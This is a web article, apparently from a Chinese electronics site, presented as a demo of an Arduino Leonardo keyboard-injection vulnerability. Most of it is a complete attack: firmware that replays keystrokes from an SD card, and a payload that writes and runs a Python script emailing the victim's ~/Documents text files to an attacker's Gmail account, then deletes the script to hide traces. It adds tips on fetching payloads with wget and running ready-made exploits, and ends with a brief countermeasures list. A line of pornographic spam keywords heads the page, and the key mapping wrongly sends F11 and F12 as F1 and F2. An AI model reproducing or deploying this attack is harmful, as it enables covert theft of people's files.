一区二区三区三上|欧美在线视频五区|国产午夜无码在线观看视频|亚洲国产裸体网站|无码成年人影视|亚洲AV亚洲AV|成人开心激情五月|欧美性爱内射视频|超碰人人干人人上|一区二区无码三区亚洲人区久久精品

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

Arduino鍵盤(pán)漏洞演示及解決辦法

454398 ? 來(lái)源:工程師吳畏 ? 2019-08-07 09:02 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

第1步:材料

零件:

1 。 Arduino leonardo

2。 micro USB讀卡器

3。SD

4。按鈕(VCC,地面和信號(hào)

5。跨接電纜

6。 micro USB轉(zhuǎn)USB電纜

步驟2:構(gòu)建設(shè)備

之前構(gòu)建指令讓我們回顧一下工作原理

Arduino leonardo可以像人機(jī)界面設(shè)備(HID)一樣運(yùn)行,因此可以模擬鼠標(biāo)和鍵盤(pán)。我們將使用此功能打開(kāi)終端(在UBUNTU linux中)并編寫(xiě)一個(gè)小腳本,該腳本將訪問(wèn)用戶主文件夾中的/Documents文件夾復(fù)制.txt文件并將其通過(guò)電子郵件發(fā)送給某人。如果您想了解更多詳細(xì)信息,請(qǐng)查看下一步。

因?yàn)樗且粋€(gè)演示設(shè)備,所以事情非常簡(jiǎn)單,我們不會(huì)焊接任何東西。

構(gòu)建說(shuō)明

1。組裝組件:

*插入arduino中的micro USB線

*將鑰匙開(kāi)關(guān)連接到arduino(接地,vcc和out模塊)至D8)

*將讀卡器連接到arduino(使用ICSP標(biāo)頭)。 Arduino leonardo沒(méi)有將ICSP接頭連接到數(shù)字引腳,因此您需要將讀卡器連接到ICSP接頭。您可以在此處找到ICSP的一些圖紙:https://learn.sparkfun.com/tutorials/installing-an 。..。將SS引腳連接到數(shù)字引腳10

2. 獲取arduino代碼 :

#include “Keyboard.h”

#include “SPI.h”

#include “SD.h”

String filenameOnCard = “hack.txt”;

String sleepCommandStartingPoint = “Sleep::”;

String commandStartingPoint = “Command::”;

int delayBetweenCommands = 10;

const int buttonPin = 8;

const int chipSelect = 10;

int previousButtonState = HIGH;

void setup() {

pinMode(buttonPin, INPUT);

Serial.begin(9600);

Keyboard.begin();

if (!SD.begin(chipSelect)) {

Serial.println(“Card failed, or not present!”);

return;

}

}

void loop() {

int buttonState = digitalRead(buttonPin);

if ((buttonState != previousButtonState) && (buttonState == HIGH)) {

sdFileToKeyboard();

Serial.println(“Uploaded!”);

delay(500);

}

previousButtonState = buttonState;

}

void sdFileToKeyboard() {

File dataFile = SD.open(filenameOnCard);

if (!dataFile) {

Serial.println(“The specified filename is not present on SD card, check filenameOnCard !”);

}

String line;

while (dataFile.available()) {

line = dataFile.readStringUntil(‘ ’);

Serial.println(line);

sendToKeyboard(line);

}

dataFile.close();

}

void sendToKeyboard(String line) {

String workingLine = line;

if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {

sleepFor(line);

return;

}

if (workingLine.indexOf(commandStartingPoint) == -1) {

Serial.print(“Text:”);Serial.println(line);

Keyboard.println(line);

pressEnter();

return;

}

Serial.println(“Command:”);

int charPosition = commandStartingPoint.length();

int lineLength = line.length();

workingLine += “,”;

while (workingLine != “”) {

workingLine = workingLine.substring(charPosition);

Serial.print(“WorkingLine:”);Serial.println(workingLine);

int specialCommandDelimiterPosition = workingLine.indexOf(“,”);

String command = workingLine.substring(0, specialCommandDelimiterPosition);

charPosition = specialCommandDelimiterPosition + 1;

if (command != “”) {

Serial.print(“Command found:”);Serial.println(command);

Keyboard.press(getCommandCode(command));

delay(delayBetweenCommands);

}

}

Keyboard.releaseAll();

delay(delayBetweenCommands);

}

void pressEnter() {

Keyboard.press(KEY_RETURN);

Keyboard.releaseAll();

}

void sleepFor(String line) {

int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();

Serial.print(“Sleeping for:”);Serial.println(sleepAmount);

delay(sleepAmount);

}

char getCommandCode(String text) {

char textCharacters[2];

text.toCharArray(textCharacters, 2);

char code = textCharacters[0];

code = (text == “KEY_LEFT_CTRL”) ? KEY_LEFT_CTRL : code;

code = (text == “KEY_LEFT_SHIFT”) ? KEY_LEFT_SHIFT : code;

code = (text == “KEY_LEFT_ALT”) ? KEY_LEFT_ALT : code;

code = (text == “KEY_UP_ARROW”) ? KEY_UP_ARROW : code;

code = (text == “KEY_DOWN_ARROW”) ? KEY_DOWN_ARROW : code;

code = (text == “KEY_LEFT_ARROW”) ? KEY_LEFT_ARROW : code;

code = (text == “KEY_RIGHT_ARROW”) ? KEY_RIGHT_ARROW : code;

code = (text == “KEY_RIGHT_GUI”) ? KEY_RIGHT_GUI : code;

code = (text == “KEY_BACKSPACE”) ? KEY_BACKSPACE : code;

code = (text == “KEY_TAB”) ? KEY_TAB : code;

code = (text == “KEY_RETURN”) ? KEY_RETURN : code;

code = (text == “KEY_ESC”) ? KEY_ESC : code;

code = (text == “KEY_INSERT”) ? KEY_INSERT : code;

code = (text == “KEY_DELETE”) ? KEY_DELETE : code;

code = (text == “KEY_PAGE_UP”) ? KEY_PAGE_UP : code;

code = (text == “KEY_PAGE_DOWN”) ? KEY_PAGE_DOWN : code;

code = (text == “KEY_HOME”) ? KEY_HOME : code;

code = (text == “KEY_END”) ? KEY_END : code;

code = (text == “KEY_CAPS_LOCK”) ? KEY_CAPS_LOCK : code;

code = (text == “KEY_F1”) ? KEY_F1 : code;

code = (text == “KEY_F2”) ? KEY_F2 : code;

code = (text == “KEY_F3”) ? KEY_F3 : code;

code = (text == “KEY_F4”) ? KEY_F4 : code;

code = (text == “KEY_F5”) ? KEY_F5 : code;

code = (text == “KEY_F6”) ? KEY_F6 : code;

code = (text == “KEY_F7”) ? KEY_F7 : code;

code = (text == “KEY_F8”) ? KEY_F8 : code;

code = (text == “KEY_F9”) ? KEY_F9 : code;

code = (text == “KEY_F10”) ? KEY_F10 : code;

code = (text == “KEY_F11”) ? KEY_F1 : code;

code = (text == “KEY_F12”) ? KEY_F2 : code;

return code;

}

3。將代碼上傳到arduino ,請(qǐng)務(wù)必選擇9600波特率,串口和arduino leonardo

4。 使用FAT16或FAT32格式化SD卡

5。如果您從上面克隆了github repo,復(fù)制卡上的hack.txt文件,如果不是,則下面列出了該文件:

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t

Sleep::500

vi hack.py

Sleep::300

Command::KEY_INSERT

import smtplib

import glob, os

from os.path import expanduser

from email.MIMEMultipart import MIMEMultipart

from email.MIMEBase import MIMEBase

from email.MIMEText import MIMEText

from email.Utils import COMMASPACE, formatdate

from email import Encoders

smtp_user = ‘sender_gmail_address’

smtp_pass = ‘sender_gmail_password’

to_address = ‘receiver_address’

scan_documents_location = ‘Documents’

subject = body = ‘Files from hacked computer’

header = ‘To :{0} From : {1} Subject : {2} ’.format(to_address, smtp_user, subject)

def sendMail(to, subject, text, files=[]):

msg = MIMEMultipart()

msg[‘From’] = smtp_user

msg[‘To’] = COMMASPACE.join(to)

msg[‘Date’] = formatdate(localtime=True)

msg[‘Subject’] = subject

msg.attach(MIMEText(text))

for file in files:

part = MIMEBase(‘a(chǎn)pplication’, “octet-stream”)

part.set_payload(open(file,“rb”).read())

Encoders.encode_base64(part)

part.add_header(‘Content-Disposition’, ‘a(chǎn)ttachment; filename=“%s”’

% os.path.basename(file))

msg.attach(part)

server = smtplib.SMTP(‘smtp.gmail.com:587’)

server.starttls()

server.login(smtp_user, smtp_pass)

server.sendmail(smtp_user, to, msg.as_string())

server.quit()

sendMail([to_address], subject, body, glob.glob(“{0}/{1}/*.txt”.format(expanduser(“~”), scan_documents_location)))

Sleep::50

Command::KEY_ESC

Sleep::100

:x

Sleep::500

nohup python hack.py &

Sleep::700

rm -rf hack.py

Sleep::400

Command::KEY_LEFT_ALT,KEY_F4

的 6。修改以下內(nèi)容:

smtp_user = ‘sender_email_addr’

smtp_pass = ‘sender_password’

to_address = ‘receiver_address’

并替換為您的電子郵件地址

7。 取出卡并將其插入arduino讀卡器

步驟3:如何在細(xì)節(jié)中工作

攻擊如何工作:

1。按下按鈕后,leonardo將使用SD卡閱讀器讀取SD卡??ㄉ蠈@示包含按鍵和按鍵組合的特殊文件。文件名是“hack.txt”。

該文件可以包含原始文本,它將按原樣傳遞給鍵盤(pán)。

它還可以包含特殊命令,如“Sleep ::”和“Command ::”。

如下所示的行:

Sleep :: 200表示200 ms的睡眠

如下所示的行

Command :: KEY_LEFT_CTRL,KEY_LEFT_ALT,t表示按住左按鈕,按下左按鈕,按下t按鈕并全部釋放

您可以在此處檢查所有特殊按鍵:https://www.arduino .CC/EN/參考/KeyboardModif 。..

2。萊昂納多將逐行閱讀,并解釋命令并模擬鍵盤(pán)上的鍵。文件“hack.txt”包含執(zhí)行以下操作的鍵組合(對(duì)于UBUNTU linux):

a。打開(kāi)一個(gè)終端(CTRL + ALT + T)

b。使用vi打開(kāi)一個(gè)用于創(chuàng)建的python文件(寫(xiě)入“vi hack.py”

c。寫(xiě)入一個(gè)python腳本,收集文檔主文件夾中的所有文本文件,并將它們發(fā)送到指定的gmail地址

d。在后臺(tái)運(yùn)行文件(“nohup python hack.py&”)

e。刪除文件(rm -rf hack.py)

f。關(guān)閉終端(ALT + F4)

整個(gè)過(guò)程會(huì)在幾秒鐘內(nèi)完成并且不會(huì)留下痕跡。

增強(qiáng)功能和故障排除

*你可能會(huì)注意到,在我打開(kāi)一個(gè)終端后,我正在編寫(xiě)python文件。更好的方法是將它托管在某處并使用“wget some_url”命令下載它,然后將其重命名為hack.py

*我們也可以為目標(biāo)操作系統(tǒng)下載或運(yùn)行現(xiàn)成的漏洞利用

* wifi可以添加到模塊中,黑客可以通過(guò)WIFI上傳

*您可以使用arduino micro(更?。┎⒃谄渖锨度肼┒蠢么a(使其更小)

限制

1。由于模擬設(shè)備(鍵盤(pán)和鼠標(biāo))沒(méi)有任何反饋,我們不知道發(fā)出命令后會(huì)發(fā)生什么,這意味著我們需要使用延遲。例如我發(fā)出一個(gè)打開(kāi)終端的命令,但我不知道它什么時(shí)候會(huì)打開(kāi),所以我需要指定一個(gè)任意的延遲來(lái)確保輸入的字符不會(huì)丟失。

2。我們可能會(huì)遇到許可問(wèn)題,例如無(wú)法訪問(wèn)USB端口或安裝某些內(nèi)容的權(quán)限

3。打字速度對(duì)leonardo而言并不是那么好

4。僅適用于目標(biāo)操作系統(tǒng)(在我們的案例中為UBUNTU linux)

在下一步中將嘗試找到利用此限制的方法來(lái)防止我們的計(jì)算機(jī)被黑客入侵

第4步:對(duì)策

1。禁用USB端口

2。白名單USB設(shè)備:

3。不要以root身份登錄(需要密碼才能安裝任何東西)

4。讓自己保持最新(自動(dòng)更新)

聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 漏洞
    +關(guān)注

    關(guān)注

    0

    文章

    205

    瀏覽量

    15696
  • Arduino
    +關(guān)注

    關(guān)注

    190

    文章

    6498

    瀏覽量

    192181
收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    GPS北斗定位模塊問(wèn)題及解決辦法

    GPS北斗定位模塊使用上大多需要配置和設(shè)置下的,因此出現(xiàn)應(yīng)用方面的問(wèn)題也是可以理解的。以下是常見(jiàn)的問(wèn)題及其解決辦法: 一、搜不到信號(hào) 問(wèn)題描述: 在家或個(gè)別位置無(wú)法接收到GPS或北斗定位模塊的信號(hào)
    的頭像 發(fā)表于 03-30 07:37 ?1113次閱讀

    PLC異常工作的原因和解決辦法

    PLC(可編程邏輯控制器)異常工作的原因及解決辦法
    的頭像 發(fā)表于 02-24 17:27 ?1079次閱讀

    Profinet IO通信故障原因及解決辦法

    通信故障時(shí)有發(fā)生,影響生產(chǎn)效率和系統(tǒng)穩(wěn)定性。本文將深入探討Profinet IO通信故障的常見(jiàn)原因,并提出詳細(xì)的解決辦法,以幫助技術(shù)人員快速定位和解決問(wèn)題。
    的頭像 發(fā)表于 02-03 14:50 ?1588次閱讀

    斷路器常見(jiàn)故障及解決辦法

    斷路器常見(jiàn)故障及解決辦法 1. 斷路器無(wú)法合閘 故障原因: 斷路器內(nèi)部機(jī)械故障,如彈簧卡滯、合閘機(jī)構(gòu)損壞等。 斷路器保護(hù)裝置動(dòng)作,如過(guò)載、短路保護(hù)等。 操作不當(dāng),如操作順序錯(cuò)誤或操作力度不足
    的頭像 發(fā)表于 01-03 09:30 ?2831次閱讀

    常見(jiàn)墊圈故障及解決辦法 防漏墊圈的設(shè)計(jì)與應(yīng)用

    常見(jiàn)墊圈故障及解決辦法 1. 墊圈老化 故障現(xiàn)象: 墊圈因長(zhǎng)時(shí)間使用而老化,失去彈性,導(dǎo)致密封性能下降。 解決辦法: 定期檢查墊圈的老化情況,及時(shí)更換新的墊圈。 2. 墊圈變形 故障現(xiàn)象: 由于安裝
    的頭像 發(fā)表于 12-12 15:31 ?1103次閱讀

    電力電纜的常見(jiàn)故障及解決辦法 電力電纜與通訊電纜的區(qū)別

    電力電纜的常見(jiàn)故障及解決辦法 電力電纜是電力系統(tǒng)的重要組成部分,負(fù)責(zé)將電能從發(fā)電站傳輸?shù)接脩舳恕S捎谄溟L(zhǎng)期暴露在戶外環(huán)境中,電力電纜可能會(huì)遇到各種故障。以下是一些常見(jiàn)的電力電纜故障及其解決辦法
    的頭像 發(fā)表于 12-12 15:11 ?1674次閱讀

    雷達(dá)探測(cè)器常見(jiàn)故障及解決辦法

    雷達(dá)探測(cè)器,特別是用于車(chē)輛泊車(chē)輔助的雷達(dá)系統(tǒng),常見(jiàn)故障及其解決辦法可以歸納如下: 一、無(wú)報(bào)警提示故障 故障現(xiàn)象 : 在掛入倒擋或者按下雷達(dá)開(kāi)關(guān)后,雷達(dá)系統(tǒng)毫無(wú)反應(yīng)。 可能原因 : 倒車(chē)?yán)走_(dá)系統(tǒng)工作
    的頭像 發(fā)表于 11-24 09:46 ?2990次閱讀

    RS232串口通信中常見(jiàn)問(wèn)題及解決辦法

    RS232串口通信中常見(jiàn)問(wèn)題及解決辦法主要包括以下幾個(gè)方面: 一、物理連接問(wèn)題 問(wèn)題 :串口線未插穩(wěn)或接口松動(dòng)。 解決辦法 :重新插拔串口線,確保連接牢固。同時(shí)檢查插頭和針腳是否損壞,如有損壞需更換
    的頭像 發(fā)表于 11-21 09:32 ?4736次閱讀

    PCBA板常見(jiàn)故障及解決辦法

    和使用過(guò)程中可能會(huì)出現(xiàn)各種故障,以下是一些常見(jiàn)的故障及其解決辦法: 1. 焊接不良 故障現(xiàn)象: 焊點(diǎn)不光滑、有空洞、焊料不足或過(guò)多、焊點(diǎn)開(kāi)裂等。 解決辦法: 檢查焊接設(shè)備(如回流焊機(jī))的溫度曲線是否正確。 確保焊膏和焊料的質(zhì)量符合要求。 檢查焊接過(guò)程中是否有污染或氧化。
    的頭像 發(fā)表于 11-18 10:20 ?1776次閱讀

    溫控器常見(jiàn)故障及解決辦法

    溫控器是維持室內(nèi)溫度舒適的必備設(shè)備。然而,像所有電子設(shè)備一樣,它們也可能出現(xiàn)故障。了解常見(jiàn)故障及其解決辦法可以幫助您快速解決問(wèn)題,避免不必要的維修費(fèi)用。 一、溫控器不工作 故障現(xiàn)象: 溫控器顯示正常
    的頭像 發(fā)表于 11-06 13:51 ?1.4w次閱讀

    電力電容器的常見(jiàn)故障及解決辦法

    電力電容器是電力系統(tǒng)中用于改善功率因數(shù)、減少無(wú)功損耗、提高電能質(zhì)量的重要設(shè)備。它們?cè)谶\(yùn)行過(guò)程中可能會(huì)出現(xiàn)各種故障,以下是一些常見(jiàn)的故障及其解決辦法的介紹: 1. 電容器過(guò)熱 故障原因: 環(huán)境溫度
    的頭像 發(fā)表于 11-04 09:32 ?1567次閱讀

    常見(jiàn)MCU故障及解決辦法

    微控制器單元(MCU)是現(xiàn)代電子設(shè)備中的核心組件,負(fù)責(zé)處理和控制各種功能。然而,由于各種原因,MCU可能會(huì)出現(xiàn)故障。以下是一些常見(jiàn)的MCU故障及其解決辦法: 1. 電源問(wèn)題 故障現(xiàn)象: MCU無(wú)法
    的頭像 發(fā)表于 11-01 13:41 ?7682次閱讀

    萬(wàn)用表常見(jiàn)故障及解決辦法

    萬(wàn)用表是一種常用的電子測(cè)量工具,它能夠測(cè)量電壓、電流、電阻等多種電氣參數(shù)。在使用過(guò)程中,萬(wàn)用表可能會(huì)出現(xiàn)一些故障,以下是一些常見(jiàn)的故障及其解決辦法: 1. 無(wú)顯示或顯示異常 故障原因: 電池電量不足
    的頭像 發(fā)表于 11-01 10:23 ?7517次閱讀

    常見(jiàn)元器件故障及解決辦法

    在電子設(shè)備的日常使用和維護(hù)中,元器件的故障是不可避免的。了解常見(jiàn)元器件的故障類(lèi)型及其解決辦法,對(duì)于快速定位問(wèn)題并進(jìn)行修復(fù)至關(guān)重要。 1. 電阻器故障 故障現(xiàn)象: 電阻值變化:電阻器老化或損壞導(dǎo)致其實(shí)
    的頭像 發(fā)表于 10-29 16:21 ?2011次閱讀

    海外大帶寬服務(wù)器連接失敗解決辦法

     海外大帶寬服務(wù)器連接失敗可能由多種原因引起,以下是一些常見(jiàn)的故障排除步驟和可能的解決方案。Rak小編為您整理發(fā)布海外大帶寬服務(wù)器連接失敗解決辦法
    的頭像 發(fā)表于 09-29 09:53 ?501次閱讀